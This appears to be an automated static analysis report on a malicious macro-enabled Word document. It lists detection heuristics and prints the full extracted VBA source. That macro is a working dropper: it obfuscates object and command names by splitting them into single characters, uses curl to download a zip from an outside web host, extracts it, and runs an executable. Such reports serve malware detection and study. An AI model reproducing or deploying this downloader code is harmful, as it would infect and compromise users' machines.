Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 47c4e6c8b6aa2718…

MALICIOUS

Office (OOXML)

28.5 KB Created: 2021-02-24 13:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-03-31
MD5: 3137b76ade5cd5163efec3772a21214d SHA-1: e49c8c1866fc89e39415177377eae8b37067dc7b SHA-256: 47c4e6c8b6aa2718a0d97f2a86610a3d53eb6e4eb48fab8ae06eb7073b4b72b8
142 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3040 bytes
SHA-256: 0a76d62b2cded85ce1a7c90cc58dd52307b44f3a45e77eb7865417d25d678962
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"

Sub MakeImageInvisible()
Set oShell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & "." & "S" & "h" & "e" & "l" & "l")
User = oShell.ExpandEnvironmentStrings("%" & "U" & "S" & "E" & "R" & "N" & "A" & "M" & "E" & "%")
Set FSO = CreateObject("S" & "c" & "r" & "i" & "p" & "t" & "i" & "n" & "g" & "." & "F" & "i" & "l" & "e" & "S" & "y" & "s" & "t" & "e" & "m" & "O" & "b" & "j" & "e" & "c" & "t")
ZipFile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "t" & "e" & "s" & "t" & "." & "z" & "i" & "p"
cm = "c" & "m" & "d" & "." & "e" & "x" & "e" & " " & "/" & "c" & " " & "c" & "u" & "r" & "l" & " " & "h" & "t" & "t" & "p" & "s" & ":" & "/" & "/" & "k" & "i" & "t" & "h" & "u" & "a" & "t" & "p" & "h" & "a" & "n" & "m" & "e" & "m" & "." & "0" & "0" & "0" & "w" & "e" & "b" & "h" & "o" & "s" & "t" & "a" & "p" & "p" & "." & "c" & "o" & "m" & "/" & "c" & "h" & "a" & "r" & "e" & "/" & "t" & "e" & "s" & "t" & "2" & "." & "z" & "i" & "p" & " " & "-" & "-" & "o" & "u" & "t" & "p" & "u" & "t" & " " & "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "t" & "e" & "s" & "t" & "." & "z" & "i" & "p"
If (FSO.FileExists(ZipFile) = False) Then
   oShell.Run cm, 0, True
End If

actactFile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s"
runfile = "C" & ":" & "\" & "U" & "s" & "e" & "r" & "s" & "\" & User & "\" & "D" & "o" & "c" & "u" & "m" & "e" & "n" & "t" & "s" & "\" & "D" & "e" & "b" & "u" & "g" & "\" & "K" & "e" & "p" & "l" & "e" & "r" & "2" & "8" & "1" & "." & "e" & "x" & "e"
If (FSO.FileExists(runfile) = False) Then
   Set objShell = CreateObject("S" & "h" & "e" & "l" & "l" & "." & "A" & "p" & "p" & "l" & "i" & "c" & "a" & "t" & "i" & "o" & "n")
    Set FilesInZip = objShell.NameSpace(ZipFile).items
    objShell.NameSpace(actactFile).CopyHere (FilesInZip)
End If
abcd = runfile
oShell.Run abcd
End Sub



Private Sub CommandButton1_Click()
MakeImageInvisible
End Sub
' "c" & "m" & "d" & "." & "e" & "x" & "e" & " " & "/" & "c" & " " & "c" & "d" & " " &

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{BD315DD0-8A81-4797-966A-4EE0E17B7BA4}{B69EDBD5-21F6-4129-BB41-61C4AB64D70B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Application.Visible = True
End Sub

Private Sub Label1_Click()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29696 bytes
SHA-256: 5e07c8697bd9a7bfc486e00c78a4108b1c3601b1a2ae123cf127b2a10f1ea9a0

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